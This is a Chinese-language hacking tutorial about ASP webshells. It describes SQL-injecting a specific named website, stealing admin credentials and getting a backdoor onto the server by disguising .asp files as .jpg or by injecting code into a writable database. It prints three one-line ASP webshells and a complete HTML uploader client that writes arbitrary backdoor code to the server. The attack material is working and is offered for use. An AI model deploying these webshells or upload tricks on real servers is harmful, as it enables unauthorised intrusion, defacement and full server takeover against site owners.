一、什么是webshell
webshell简介
webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
webshell的分类
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):
二、怎么拿下webshell
拿下webshell的简单的意思就是拿到网站的管理权限,网页的内容,你有了管理权限就是想让它是什么样子就是什么样子
目标网站为:http://www.compassbulk.com (做的很那个那个的网站)
<一> :通过工具监测漏洞SQL注入点
工具用到了明小子SQL注入检测工具和啊DSQL注入检测工具 (操作很简单的两个工具软件,就不放在这上面了)
检测到有注入点的网站就可以进一步的数据库表解析,拿到管理员账号密码,以及后台管理登陆页面的url
下一步就是登入后台管理界面了
<二> :大马的上传
上传了大马就可以自己在其他页面远程的管理查看网站的文件(大马代码和小马代码也不给出了,一句话ASP木马html文件文末给贴)
上传大马的方式有三:
1、直接上传大马文件,大马文件是.asp结尾的。大多数都会对一些后缀的文件做一个上传限制,我们是上传失败的。这样的话,我们就可以把大马文件.asp后缀改为.jpg以图片的形式上传,这样我们就可以把文件保存到网站的数据库了,接下来我们就需要把.jpg改为.asp就行了。或者说备份一份大马文件,在备份的过程中把.asp改为.jpg这样的话,也相当于上传成功了大马文件。 这里转化的门路很多,网站不同,采用的方式也不一样,我头大..现在不会呐。。。 会抓紧接触的 嗯嗯嗯!!!
2、有些网站对大马文件有限制,我们是上传不上去的。我们可以先上传小马,再上传大马。操作和1无太大区别
3、一句asp代码(这里给出三个1. <%eval request("wxmb")%> 2. <%execute request("wxmb")%> 3. <%execute(request("wxmb"))%> )
操作如下:
1.拿到数据库地址 2.数据库文件为asp结尾
一、寻找可写入数据库的方式 (比如说用户留言,用户反馈,直接提交上面的某一个服务端代码)
二、插入一句话木马到数据库 (服务端网址就是数据库网址,密码可以在大马代码里面查看和修改,把 "这里输入您的ASP后门代码" 替换为大马代码)
三、用一句话木马上传客户端上传大马
四、访问OK
<二> :访问大马url
访问大马所在的url,在输入密码就可以了 \QAQ.....
一句话ASP木马.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>一句话ASP木马</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
BACKGROUND-COLOR: #ffffff
}
.bad {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid
}
</STYLE>
<META content="MSHTML 6.00.2900.2627" name=GENERATOR></HEAD>
<BODY vLink=#ffff00 aLink=#ffffff link=#ffffff bgColor=#ffffff>
<CENTER>
<DIV
style="FONT-SIZE: 16pt; FILTER: glow(color=#336699, strength=15); WIDTH: 350px; COLOR: #ffffff; LINE-HEIGHT: 35pt; FONT-FAMILY: Comic Sans MS; POSITION: relative"><B>一句话ASP木马后门(危险漫步版)</B></DIV>
<TABLE class=bad height=14 cellSpacing=0 width=627 align=center border=0>
<TBODY>
<TR>
<TD width=794 height=1>
<FORM name=pass method=post><FONT color=#000000>服务端网址:</FONT><INPUT id=act
size=84 value=http:// name=act> <INPUT οnclick=this.form.wxmb.name=this.form.password.value;this.form.action=this.form.act.value; type=submit value=上传>
<BR>登陆密码:<INPUT id=password size=93 name=password> <INPUT id=wxmb
type=hidden
value='Execute("Session(""wxmb"")=request(""*""):Execute(Session(""wxmb""))")'
name=wxmb> </TD></TR>
<TR>
<TD width=794 height=100><TEXTAREA name=* rows=9 cols=100 width="45">set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("pass")
lP.SaveToFile server.mappath("wxmb.asp"),2
lP.Close
set lP=nothing
response.redirect "wxmb.asp"</TEXTAREA> </TD></TR>
<TR>
<TD width=794 height=1><TEXTAREA name=pass rows=15 cols=100 width="45">这里输入您的ASP后门代码</TEXTAREA>
</TD></TR>
<TR>
<TD width=794 height=7><FONT color=#000000>提供三个服务端:</FONT> <BR>1.
<%eval request("<FONT color=red>wxmb</FONT>")%> <BR>2. <%execute
request("<FONT color=red>wxmb</FONT>")%> <BR>3.
<%execute(request("<FONT color=red>wxmb</FONT>"))%> <BR>把红色的<FONT
color=blue>wxmb</FONT>换成您的密码,解决了原一句话ASP木马的错误,只要用"<FONT
color=blue>eval</FONT>"替换掉"<FONT
color=blue>execute</FONT>"服务端,就不会出错了!下个版本修改登陆密码用MD5加密方式.请关注!</TD></TR></TBODY></TABLE>
<SCRIPT language=javascript src="一句话ASP-危险漫步版"
type=text/javascript></SCRIPT>
</FORM></CENTER></BODY></HTML>